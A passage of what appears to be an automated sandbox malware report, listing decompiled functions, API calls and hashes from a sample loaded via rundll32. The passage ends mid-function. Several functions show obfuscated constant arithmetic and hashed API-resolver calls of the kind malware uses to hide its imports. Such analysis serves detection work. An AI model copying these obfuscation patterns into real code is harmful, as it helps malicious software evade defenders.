Source File: 0000000C.00000002.321908815.0000000003FF1000.00000020.00000001.sdmp, Offset: 03FF0000, based on PE: true

Associated: 0000000C.00000002.321902802.0000000003FF0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.321929744.0000000004016000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3ff0000_rundll32.jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 938ae55f57f10c9ec9f30609793a9938b44550d2e06b30d2dbdd077d207e708c
Instruction ID: ea8a5bf5589575ffa66a2d54f9fd0bff02851ad92dc6574c087c87a7798bfc50
Opcode Fuzzy Hash: 938ae55f57f10c9ec9f30609793a9938b44550d2e06b30d2dbdd077d207e708c
Instruction Fuzzy Hash: 8011277190221DFB9B04EFE89D468DFBFB8FF04308F108588E925B2211D3B19B149B91

Uniqueness

Uniqueness Score: -1.00%

Function 10008860, Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E10008860(void* __eflags) {
				char* _v8;
				intOrPtr _v12;
				char _v16;
				char* _v20;
				void* __ebp;
				void* _t25;
				void* _t29;
				intOrPtr _t32;
				void* _t33;
				void* _t34;

				_v8 = E1001703B(_t25, _t29, _t33, _t34, 0x5f5e100);
				if(_v8 != 0) {
					_v12 = 0x5f5e100;
					_v16 = 0;
					_v20 = _v8;
					while(1) {
						__eflags = _v16 - 0x5f5e100;
						if(__eflags >= 0) {
							break;
						}
						 *_v20 = _v16;
						_v16 = _v16 + 1;
						_t32 = _v20 + 1;
						__eflags = _t32;
						_v20 = _t32;
					}
					_push(_v8); // executed
					E10016380(_t25, _t33, _t34, __eflags); // executed
					__eflags = _v16 - _v12;
					if(_v16 != _v12) {
						return 3;
					}
					return 0;
				}
				return 3;
			}

APIs

_malloc.LIBCMT ref: 1000886B

Part of subcall function 1001703B: __FF_MSGBANNER.LIBCMT ref: 1001705E
Part of subcall function 1001703B: __NMSG_WRITE.LIBCMT ref: 10017065
Part of subcall function 1001703B: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562,00000001), ref: 100170B3

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 40bd655b06e48b04370c20bd75be719fcb86c010ff12dc3827a327f63544bac9
Instruction ID: 9e6909d06ecd8ca97a2f758cde8d66f904c366c92fb4d9c13ba1bad92c8ee0bf
Opcode Fuzzy Hash: 40bd655b06e48b04370c20bd75be719fcb86c010ff12dc3827a327f63544bac9
Instruction Fuzzy Hash: 9A0178B4D0424CEFEB00CFA4C8446AEBBB4FB04354F60C8A9D9516B349E735AB00DB81

Uniqueness

Uniqueness Score: -1.00%

Function 0400D11A, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0400D11A() {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t39;

				_v24 = _v24 & 0x00000000;
				_v36 = 0x78f5c7;
				_v32 = 0xa12bb9;
				_v28 = 0x4eca09;
				_v8 = 0x8b256f;
				_v8 = _v8 << 0xb;
				_v8 = _v8 ^ 0x4a7d0011;
				_v8 = _v8 >> 9;
				_v8 = _v8 ^ 0x00073d60;
				_v20 = 0x1e549a;
				_v20 = _v20 + 0xffffad33;
				_v20 = _v20 ^ 0x00134b4f;
				_v16 = 0x8dd9dd;
				_v16 = _v16 << 3;
				_v16 = _v16 ^ 0x0460bc3c;
				_v12 = 0x358059;
				_v12 = _v12 + 0xb97b;
				_v12 = _v12 ^ 0x003502df;
				E03FFEB52(_t39, _t39, 0x83891850, 0x1c, 0xa2289af1);
				ExitProcess(0);
			}

0x0400d120
0x0400d124
0x0400d12b
0x0400d132
0x0400d139
0x0400d140
0x0400d144
0x0400d14b
0x0400d14f
0x0400d156
0x0400d15d
0x0400d164
0x0400d16b
0x0400d172
0x0400d176
0x0400d17d
0x0400d184
0x0400d18b
0x0400d1ac
0x0400d1b6

APIs

ExitProcess.KERNEL32(00000000), ref: 0400D1B6

Memory Dump Source

Source File: 0000000C.00000002.321908815.0000000003FF1000.00000020.00000001.sdmp, Offset: 03FF0000, based on PE: true

Associated: 0000000C.00000002.321902802.0000000003FF0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.321929744.0000000004016000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3ff0000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 67c658d72cc930f45ab36e019061580956781c758de54a32820380ba4476f13f
Instruction ID: f773add4ac291217798b99e6407cdc6fe4cbc4ed9639d715308e111b8d810a33
Opcode Fuzzy Hash: 67c658d72cc930f45ab36e019061580956781c758de54a32820380ba4476f13f
Instruction Fuzzy Hash: CB1112B1C4030CEBDB44DFE5D94A6DEFBB0EB00708F108588D921B6250D3B89B489F90

Uniqueness

Uniqueness Score: -1.00%

Function 10018033, Relevance: 1.5, APIs: 1, Instructions: 6
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E10018033() {
				void* _t1;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t7;

				_push(1);
				_push(0);
				_push(0); // executed
				_t1 = E10017F54(_t2, _t3, _t4, _t7); // executed
				return _t1;
			}

0x10018033
0x10018035
0x10018037
0x10018039
0x10018041

APIs

_doexit.LIBCMT ref: 10018039

Part of subcall function 10017F54: __lock.LIBCMT ref: 10017F62
Part of subcall function 10017F54: __decode_pointer.LIBCMT ref: 10017F91
Part of subcall function 10017F54: __decode_pointer.LIBCMT ref: 10017F9E

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: __decode_pointer$__lock_doexit
String ID:
API String ID: 3276244213-0
Opcode ID: 97d4102892187832ff4b1b75b5546cda8401932d03e1046da499ccbf3089c980
Instruction ID: 582d242231aae49e896a99cdf2eeb66297a016d7281a25d13a73cd6f963614a6
Opcode Fuzzy Hash: 97d4102892187832ff4b1b75b5546cda8401932d03e1046da499ccbf3089c980
Instruction Fuzzy Hash: 37A00269BD430021F96091506C43F6921116750F01FD500A4BB0C2C1C1A4D6629D4057

Uniqueness

Uniqueness Score: -1.00%

Function 0401061D, Relevance: 1.3, APIs: 1, Instructions: 52
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0401061D(void* __ecx, WCHAR* __edx, WCHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t44;
				int _t53;
				WCHAR* _t56;

				_push(_a12);
				_t56 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E0400FE29(_t44);
				_v24 = _v24 & 0x00000000;
				_v28 = 0xcd60b7;
				_v12 = 0x7257ab;
				_v12 = _v12 << 0xd;
				_v12 = _v12 + 0x8f69;
				_v12 = _v12 * 0x4c;
				_v12 = _v12 ^ 0x410f7a13;
				_v8 = 0x7b4696;
				_v8 = _v8 + 0xffff4950;
				_v8 = _v8 | 0x2a0f624b;
				_v8 = _v8 * 0x3a;
				_v8 = _v8 ^ 0xa0f3ec54;
				_v20 = 0x8a2161;
				_v20 = _v20 + 0xffff45ea;
				_v20 = _v20 ^ 0x1b6c7fa6;
				_v20 = _v20 ^ 0x1be8dede;
				_v16 = 0xdcc12a;
				_v16 = _v16 + 0xb9f4;
				_v16 = _v16 + 0xffffcfef;
				_v16 = _v16 ^ 0x00d9de04;
				E03FFEB52(__ecx, __ecx, 0xb7861dce, 0x3e, 0xa2289af1);
				_t53 = lstrcmpiW(_a4, _t56); // executed
				return _t53;
			}

0x04010624
0x04010627
0x04010629
0x0401062c
0x0401062f
0x04010630
0x04010631
0x04010636
0x0401063d
0x04010644
0x0401064b
0x0401064f
0x04010667
0x0401066a
0x04010671
0x04010678
0x0401067f
0x0401068b
0x0401068e
0x04010695
0x0401069c
0x040106a3
0x040106aa
0x040106b1
0x040106b8
0x040106bf
0x040106c6
0x040106d9
0x040106e5
0x040106eb

APIs

lstrcmpiW.KERNEL32(410F7A13,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 040106E5

Memory Dump Source

Source File: 0000000C.00000002.321908815.0000000003FF1000.00000020.00000001.sdmp, Offset: 03FF0000, based on PE: true

Associated: 0000000C.00000002.321902802.0000000003FF0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.321929744.0000000004016000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3ff0000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: ef59b29d425997034e4fed527bf505b0074c5b4e8b9fa1c114afddacbc91d9b0
Instruction ID: 7068080d0d8f119154ac34bb3ef151199e1f7d798f11ec650ac3bd165c1a0203
Opcode Fuzzy Hash: ef59b29d425997034e4fed527bf505b0074c5b4e8b9fa1c114afddacbc91d9b0
Instruction Fuzzy Hash: 402113B1C01309ABCF14DFA9D9499DEBFB5FB20354F108198E529B6251D3B49B04CF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 100011C0, Relevance: 10.6, APIs: 7, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 100011F1
_memset.LIBCMT ref: 10001205
htonl.WS2_32(00000000), ref: 1000121B
htons.WS2_32(?), ref: 1000122F
socket.WS2_32(00000002,00000002,00000000), ref: 10001245
bind.WS2_32(?,?,00000010), ref: 1000126A
setsockopt.WS2_32(?,0000FFFF,00001006,00000001,00000008), ref: 100012AC

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Startup_memsetbindhtonlhtonssetsockoptsocket
String ID:
API String ID: 1003240404-0
Opcode ID: 8abc6e71fccd75ffbc511335db1503be54d7970832d8f44548303c29e94ff06c
Instruction ID: 88ed1bb05716eef25c8d7e89d15ea7d56457a166ccc4c5acc9453768105f33a4
Opcode Fuzzy Hash: 8abc6e71fccd75ffbc511335db1503be54d7970832d8f44548303c29e94ff06c
Instruction Fuzzy Hash: 1C215974A01228AFE760DF60CC85BD9B7B4EF49714F1081D8E949AB381CB71A9C2DF51

Uniqueness

Uniqueness Score: -1.00%

Function 10008B90, Relevance: 9.1, APIs: 6, Instructions: 83
windowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E10008B90(intOrPtr __ecx) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				struct HDC__* _v120;
				char _v124;
				int _v128;
				int _v132;
				int _v136;
				struct HICON__* _v140;
				intOrPtr _v144;
				void* __ebp;
				int _t40;
				void* _t41;
				void* _t66;
				struct tagRECT* _t82;
				void* _t84;
				void* _t85;
				signed int _t86;

				_v32 =  *0x10057a08 ^ _t86;
				_v144 = __ecx;
				_t40 = IsIconic( *(_v144 + 0x20));
				_t87 = _t40;
				if(_t40 == 0) {
					_t41 = E1000C473(_t66, _v144, _t84, _t85, __eflags);
				} else {
					_push(_v144);
					E10013247(_t66,  &_v124, _t84, _t85, _t87);
					_t88 =  &_v124;
					if( &_v124 != 0) {
						_v136 = _v120;
					} else {
						_v136 = 0;
					}
					SendMessageA( *(_v144 + 0x20), 0x27, _v136, 0);
					_v128 = GetSystemMetrics(0xb);
					_v132 = GetSystemMetrics(0xc);
					_t82 =  &_v28;
					GetClientRect( *(_v144 + 0x20), _t82);
					asm("cdq");
					_v12 = _v20 - _v28 - _v128 + 1 - _t82 >> 1;
					asm("cdq");
					_v8 = _v16 - _v24 - _v132 + 1 - _t82 >> 1;
					_v140 =  *((intOrPtr*)(_v144 + 0x188));
					_t79 = _v8;
					DrawIcon(_v120, _v12, _v8, _v140);
					_t41 = E1001329B(_t66,  &_v124, _t84, _t85, _t88);
				}
				return E100167D5(_t41, _t66, _v32 ^ _t86, _t79, _t84, _t85);
			}

0x10008ba0
0x10008ba3
0x10008bb3
0x10008bb9
0x10008bbb
0x10008c94
0x10008bc1
0x10008bc7
0x10008bcb
0x10008bd3
0x10008bd5
0x10008be6
0x10008bd7
0x10008bd7
0x10008bd7
0x10008c01
0x10008c0f
0x10008c1a
0x10008c1d
0x10008c2b
0x10008c3d
0x10008c42
0x10008c51
0x10008c56
0x10008c65
0x10008c72
0x10008c7e
0x10008c87
0x10008c87
0x10008ca6

APIs

IsIconic.USER32(?), ref: 10008BB3

Part of subcall function 10013247: __EH_prolog3.LIBCMT ref: 1001324E
Part of subcall function 10013247: BeginPaint.USER32(?,?,00000004,1000C48A,?,00000058,10008C99), ref: 1001327A

SendMessageA.USER32 ref: 10008C01
GetSystemMetrics.USER32 ref: 10008C09
GetSystemMetrics.USER32 ref: 10008C14
GetClientRect.USER32 ref: 10008C2B
DrawIcon.USER32 ref: 10008C7E

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: MetricsSystem$BeginClientDrawH_prolog3IconIconicMessagePaintRectSend
String ID:
API String ID: 1007970657-0
Opcode ID: 34b2481c73848cf5a5b65619b116645cb85ce5e5c475ca315779ed2509392efd
Instruction ID: 92cad86a1f48a06ffd889b7e25b84ff06398f92b7342aaec6ad7b9fd969ef154
Opcode Fuzzy Hash: 34b2481c73848cf5a5b65619b116645cb85ce5e5c475ca315779ed2509392efd
Instruction Fuzzy Hash: BB31F975A00119DFEB24CFA8C995F9EBBB4FF48240F108299E549E7285DE30AA44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1000A803, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70
libraryCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E1000A803(void* __ebx, void* __ecx, void* __edx, void* __edi, int _a4) {
				signed int _v8;
				char _v284;
				char _v288;
				void* __esi;
				void* __ebp;
				intOrPtr* _t18;
				void* _t26;
				void* _t27;
				void* _t33;
				signed int _t34;
				void* _t35;
				signed int _t36;
				void* _t37;

				_t33 = __edi;
				_t32 = __edx;
				_t28 = __ecx;
				_t26 = __ebx;
				_v8 =  *0x10057a08 ^ _t36;
				_t39 = _a4 - 0x800;
				_t35 = __ecx;
				if(_a4 != 0x800) {
					__eflags = GetLocaleInfoA(_a4, 3,  &_v288, 4);
					if(__eflags != 0) {
						goto L2;
					} else {
					}
				} else {
					_push(E1001808E(__edx,  &_v288, 4, "LOC"));
					E10009BC7(__ebx, _t28, __edi, _t35);
					_t37 = _t37 + 0x10;
					L2:
					_push(_t26);
					_push(_t33);
					_t34 =  *(E10017D62(_t39));
					 *(E10017D62(_t39)) =  *_t14 & 0x00000000;
					_t35 = 0x112;
					_t27 = E10016E0C( &_v284, 0x112, 0x111, 0x112,  &_v288);
					_t18 = E10017D62(_t39);
					_t40 =  *_t18;
					if( *_t18 == 0) {
						 *(E10017D62(__eflags)) = _t34;
					} else {
						E10009DD1( *((intOrPtr*)(E10017D62(_t40))));
					}
					if(_t27 == 0xffffffff || _t27 >= _t35) {
						_t12 = 0;
						__eflags = 0;
					} else {
						_t12 = LoadLibraryA( &_v284);
					}
					_pop(_t33);
					_pop(_t26);
				}
				return E100167D5(_t12, _t26, _v8 ^ _t36, _t32, _t33, _t35);
			}

0x1000a803
0x1000a803
0x1000a803
0x1000a803
0x1000a813
0x1000a816
0x1000a81e
0x1000a826
0x1000a89a
0x1000a89c
0x00000000
0x00000000
0x1000a89e
0x1000a828
0x1000a835
0x1000a836
0x1000a83b
0x1000a83e
0x1000a83e
0x1000a83f
0x1000a845
0x1000a84c
0x1000a85c
0x1000a871
0x1000a873
0x1000a878
0x1000a87b
0x1000a8a5
0x1000a87d
0x1000a884
0x1000a889
0x1000a8aa
0x1000a8bf
0x1000a8bf
0x1000a8b0
0x1000a8b7
0x1000a8b7
0x1000a8c1
0x1000a8c2
0x1000a8c2
0x1000a8cf

APIs

_strcpy_s.LIBCMT ref: 1000A830

Part of subcall function 10009BC7: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 10009BC7: __EH_prolog3.LIBCMT ref: 1000A0FC

Part of subcall function 10017D62: __getptd_noexit.LIBCMT ref: 10017D62

__snprintf_s.LIBCMT ref: 1000A869

Part of subcall function 10016E0C: __vsnprintf_s_l.LIBCMT ref: 10016E21

GetLocaleInfoA.KERNEL32(00000800,00000003,?,00000004), ref: 1000A894
LoadLibraryA.KERNEL32(?), ref: 1000A8B7

Strings

LOC, xrefs: 1000A828

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Exception@8H_prolog3InfoLibraryLoadLocaleThrow__getptd_noexit__snprintf_s__vsnprintf_s_l_strcpy_s
String ID: LOC
API String ID: 4018564869-519433814
Opcode ID: 85c29d921faf756db8e7e017259237103e49a4f88e38b04ce28b663785a5d064
Instruction ID: ee9450464cbd3e0ce3331b4d2b41357aa0e69ec1529eb2fe66138b72776ed960
Opcode Fuzzy Hash: 85c29d921faf756db8e7e017259237103e49a4f88e38b04ce28b663785a5d064
Instruction Fuzzy Hash: A9119A7190411CABF725D760DC86BDD37B8EF06790F504161F6049B191DF74AEC68BA1

Uniqueness

Uniqueness Score: -1.00%

Function 100167D5, Relevance: 7.6, APIs: 5, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 84%

			E100167D5(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				if(__ecx ==  *0x10057a08) {
					asm("repe ret");
				}
				 *0x1005afc0 = _t6;
				 *0x1005afbc = _t22;
				 *0x1005afb8 = _t25;
				 *0x1005afb4 = _t21;
				 *0x1005afb0 = _t27;
				 *0x1005afac = _t26;
				 *0x1005afd8 = ss;
				 *0x1005afcc = cs;
				 *0x1005afa8 = ds;
				 *0x1005afa4 = es;
				 *0x1005afa0 = fs;
				 *0x1005af9c = gs;
				asm("pushfd");
				_pop( *0x1005afd0);
				 *0x1005afc4 =  *_t31;
				 *0x1005afc8 = _v0;
				 *0x1005afd4 =  &_a4;
				 *0x1005af10 = 0x10001;
				 *0x1005aec4 =  *0x1005afc8;
				 *0x1005aeb8 = 0xc0000409;
				 *0x1005aebc = 1;
				_v812 =  *0x10057a08;
				_v808 =  *0x10057a0c;
				 *0x1005af08 = IsDebuggerPresent();
				_push(1);
				E100227FB(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x1002b434);
				if( *0x1005af08 == 0) {
					_push(1);
					E100227FB(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x100167d5
0x100167d5
0x100167d5
0x100167d5
0x100167d5
0x100167d5
0x100167db
0x100167dd
0x100167dd
0x1001c395
0x1001c39a
0x1001c3a0
0x1001c3a6
0x1001c3ac
0x1001c3b2
0x1001c3b8
0x1001c3bf
0x1001c3c6
0x1001c3cd
0x1001c3d4
0x1001c3db
0x1001c3e2
0x1001c3e3
0x1001c3ec
0x1001c3f4
0x1001c3fc
0x1001c407
0x1001c416
0x1001c41b
0x1001c425
0x1001c434
0x1001c43f
0x1001c44b
0x1001c450
0x1001c452
0x1001c45a
0x1001c465
0x1001c472
0x1001c474
0x1001c476
0x1001c47b
0x1001c48f

APIs

IsDebuggerPresent.KERNEL32 ref: 1001C445
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1001C45A
UnhandledExceptionFilter.KERNEL32(1002B434), ref: 1001C465
GetCurrentProcess.KERNEL32(C0000409), ref: 1001C481
TerminateProcess.KERNEL32(00000000), ref: 1001C488

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 7284fa7d50281a3c049889d49720807c61de6750ecda71a27977002e3826e049
Instruction ID: 29b7c1aed7e77d05a339182a33a9266dca5d513d51f4b37265af4c9016ee4a47
Opcode Fuzzy Hash: 7284fa7d50281a3c049889d49720807c61de6750ecda71a27977002e3826e049
Instruction Fuzzy Hash: 0021B0B4408328DFE701DFA9EDC96487BB0FB0A315F50406AE508873A1E7B459C2CF55

Uniqueness

Uniqueness Score: -1.00%

Function 1000FF59, Relevance: 6.0, APIs: 4, Instructions: 41
keyboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E1000FF59(void* __ecx) {
				void* __ebx;
				void* __edi;
				signed int _t5;
				void* _t15;
				void* _t18;
				void* _t19;

				_t15 = __ecx;
				if((E10012862(__ecx) & 0x40000000) != 0) {
					L6:
					_t5 = E1000FAB8(_t15, _t15, _t18, __eflags);
					asm("sbb eax, eax");
					return  ~( ~_t5);
				}
				_t19 = E1000A7CE();
				if(_t19 == 0) {
					goto L6;
				}
				_t18 = GetKeyState;
				if(GetKeyState(0x10) < 0 || GetKeyState(0x11) < 0 || GetKeyState(0x12) < 0) {
					goto L6;
				} else {
					SendMessageA( *(_t19 + 0x20), 0x111, 0xe146, 0);
					return 1;
				}
			}

0x1000ff5c
0x1000ff68
0x1000ffb0
0x1000ffb2
0x1000ffb9
0x00000000
0x1000ffbb
0x1000ff6f
0x1000ff73
0x00000000
0x00000000
0x1000ff75
0x1000ff82
0x00000000
0x1000ff96
0x1000ffa5
0x00000000
0x1000ffad

APIs

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

GetKeyState.USER32(00000010), ref: 1000FF7D
GetKeyState.USER32(00000011), ref: 1000FF86
GetKeyState.USER32(00000012), ref: 1000FF8F
SendMessageA.USER32 ref: 1000FFA5

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: fb4c216abc4c33cb282e021b119ac4542c3b2f6db45558139360cfc9261ccdec
Instruction ID: de176050283294f5fba88da379e0eecc3ccd74c62a8982f524273e82d2dc9d2d
Opcode Fuzzy Hash: fb4c216abc4c33cb282e021b119ac4542c3b2f6db45558139360cfc9261ccdec
Instruction Fuzzy Hash: 3BF0827B38025B26FA20B2748C41FBA9154CF86BD0F120538FA42EA5DECF91D8022271

Uniqueness

Uniqueness Score: -1.00%

Function 1000AA3A, Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 229
registrylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E1000AA3A(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* __ebp;
				struct HINSTANCE__* _t78;
				_Unknown_base(*)()* _t79;
				struct HINSTANCE__* _t81;
				signed int _t92;
				signed int _t94;
				unsigned int _t97;
				void* _t113;
				unsigned int _t115;
				signed short _t123;
				unsigned int _t124;
				_Unknown_base(*)()* _t131;
				signed short _t133;
				unsigned int _t134;
				intOrPtr _t143;
				void* _t144;
				int _t145;
				int _t146;
				signed int _t164;
				void* _t167;
				signed int _t169;
				void* _t170;
				int _t172;
				signed int _t176;
				void* _t177;
				CHAR* _t181;
				void* _t183;
				void* _t184;

				_t167 = __edx;
				_t184 = _t183 - 0x118;
				_t181 = _t184 - 4;
				_t181[0x118] =  *0x10057a08 ^ _t181;
				_push(0x58);
				E10017BC1(E10027E56, __ebx, __edi, __esi);
				_t169 = 0;
				 *(_t181 - 0x40) = _t181[0x124];
				 *(_t181 - 0x14) = 0;
				 *(_t181 - 0x10) = 0;
				_t78 = GetModuleHandleA("kernel32.dll");
				 *(_t181 - 0x18) = _t78;
				_t79 = GetProcAddress(_t78, "GetUserDefaultUILanguage");
				if(_t79 == 0) {
					if(GetVersion() >= 0) {
						_t81 = GetModuleHandleA("ntdll.dll");
						if(_t81 != 0) {
							 *(_t181 - 0x14) = 0;
							EnumResourceLanguagesA(_t81, 0x10, 1, E1000A1E3, _t181 - 0x14);
							if( *(_t181 - 0x14) != 0) {
								_t97 =  *(_t181 - 0x14) & 0x0000ffff;
								_t145 = _t97 & 0x3ff;
								 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t97 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t145);
								 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale(_t145);
								 *(_t181 - 0x10) = 2;
							}
						}
					} else {
						 *(_t181 - 0x18) = 0;
						if(RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019, _t181 - 0x18) == 0) {
							 *(_t181 - 0x44) = 0x10;
							if(RegQueryValueExA( *(_t181 - 0x18), 0, 0, _t181 - 0x20,  &(_t181[0x108]), _t181 - 0x44) == 0 &&  *(_t181 - 0x20) == 1) {
								_t113 = E1001815B( &(_t181[0x108]), "%x", _t181 - 0x1c);
								_t184 = _t184 + 0xc;
								if(_t113 == 1) {
									 *(_t181 - 0x14) =  *(_t181 - 0x1c) & 0x0000ffff;
									_t115 =  *(_t181 - 0x1c) & 0x0000ffff;
									_t146 = _t115 & 0x3ff;
									 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t115 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t146);
									 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale(_t146);
									 *(_t181 - 0x10) = 2;
								}
							}
							RegCloseKey( *(_t181 - 0x18));
						}
					}
				} else {
					_t123 =  *_t79() & 0x0000ffff;
					 *(_t181 - 0x14) = _t123;
					_t124 = _t123 & 0x0000ffff;
					_t164 = _t124 & 0x3ff;
					 *(_t181 - 0x1c) = _t164;
					 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t124 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t164);
					 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale( *(_t181 - 0x1c));
					 *(_t181 - 0x10) = 2;
					_t131 = GetProcAddress( *(_t181 - 0x18), "GetSystemDefaultUILanguage");
					if(_t131 != 0) {
						_t133 =  *_t131() & 0x0000ffff;
						 *(_t181 - 0x14) = _t133;
						_t134 = _t133 & 0x0000ffff;
						_t172 = _t134 & 0x3ff;
						 *((intOrPtr*)(_t181 - 0x2c)) = ConvertDefaultLocale(_t134 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t172);
